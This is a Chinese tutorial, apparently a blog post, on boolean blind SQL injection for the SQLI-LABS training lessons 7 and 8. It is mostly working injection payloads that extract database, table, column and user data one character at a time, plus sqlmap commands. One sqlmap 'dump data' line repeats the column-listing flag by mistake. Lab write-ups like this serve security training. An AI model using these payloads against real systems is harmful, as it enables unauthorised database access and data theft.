SQLI-LABS Less-7 到 Less-8

Less-7 到 Less-8 是布尔盲注

页面回显的结果只有两种 true 和 false

常用函数:

  • count(x):返回统计的数量
  • length(str):返回str字符串的长度
  • ascii(str):返回字符串str的最左面字符的ASCII代码值。
  • substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回,注意:这里的pos位置是从1开始的,不是数组的0开始

布尔注入非常繁琐费时,基本是利用工具注入,Less-7后面写了sqlmap注入的方式,但需要了解布尔注入的手工注入方式

Less-7

闭合字符:特殊字符 (('$id'))

判断闭合字符:

?id=1(true);?id=1 and 1=2(true) #排除
?id=1' --+(false); #排除
?id=1" --+(true);?id=1" and 1=2 --+ (ture) #排除
?id=') --+(false); #排除
...
...
#在sql注入过程中,发现页面回线的结果只有两种,确定此题是布尔盲注

true:

false:

判断数据库名的长度:

?id=1')) and length(database())=8 --+
#返回了 true,进行下一步;返回false,则继续判断
#数据库名是security,长度为8,代码直接给了true值

判断数据库名的ASCII码:把数据库名的各个字符分别与ASCII码匹配,每一次匹配都要跑一次ASCII表

?id=1')) and ascii(substr(database(),1,1))=115 --+
?id=1')) and ascii(substr(database(),2,1))=101 --+
...
...
#数据库是security,这里直接给了true值

判断表的数量:

?id=1')) and (select count(table_name) from information_schema.tables where table_schema="security")=4 --+
#security下共是4个表,直接给了true值

判断表名的ASCII码:

?id=1')) and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="security" limit 0,1),1,1))=101 --+
?id=1')) and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="security" limit 0,1),2,1))=109 --+
...
...
#security第一个表名是emails,直接给了true值

注意:不用substr函数会怎样?

?id=-1' union select 1,2,table_name from information_schema.tables where table_schema="security" limit 0,1 --+
#以Less-1为例,limit 0,1 是返回了从0开始的一个数据,而不是一个字符

判断字段(列)的数量:

?id=1')) and (select count(column_name) from information_schema.columns where table_schema="security" and table_name="users")=3 --+
#users下有三个字段,直接给了true值

判断字段名的ASCII码:

?id=1')) and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" limit 0,1),1,1))=105 --+
?id=1')) and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" limit 0,1),2,1))=100 --+
...
...
#users第一个字段名是id,直接给了true值

判断字段下有多少数据:

?id=1')) and (select count(username) from security.users)=13 --+
#username下有13个数据,直接给了true值

爆数据:

?id=1')) and ascii(substr((select username from security.users limit 0,1),1,1))=68 --+
...
#username第一个数据为Dumb,这里直接给了true值

sqlmap注入:

爆库名:sqlmap -u http://127.0.0.1/sqli/Less-7/?id=1 -current-db

-current-db:当前数据库

爆表名:sqlmap -u http://127.0.0.1/sqli/Less-7/?id=1 -D security -tables

爆字段名:sqlmap -u http://127.0.0.1/sqli/Less-7/?id=1 -D security -T users -columns

爆数据:sqlmap -u http://127.0.0.1/sqli/Less-7/?id=1 -D security -T users -columns

Less-8

跟 Less-7 一样的注入手法

闭合字符:特殊字符 '$id'

true:

false:

?id=1' and length(database())=8 --+
#判断数据库名的长度

?id=1' and ascii(substr(database(),1,1))=115 --+
...
#判断数据库名的ASCII码

?id=1' and (select count(table_name) from information_schema.tables where table_schema="security")=4 --+
#判断表的数量

?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="security" limit 0,1),1,1))=101 --+
...
#判断表名的ASCII码

?id=1' and (select count(column_name) from information_schema.columns where table_schema="security" and table_name="users")=3 --+
#判断有多少列

?id=1' and (select count(username) from security.users)=13 --+
#判断字段下有多少数据

?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=68 --+
...
#爆数据

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值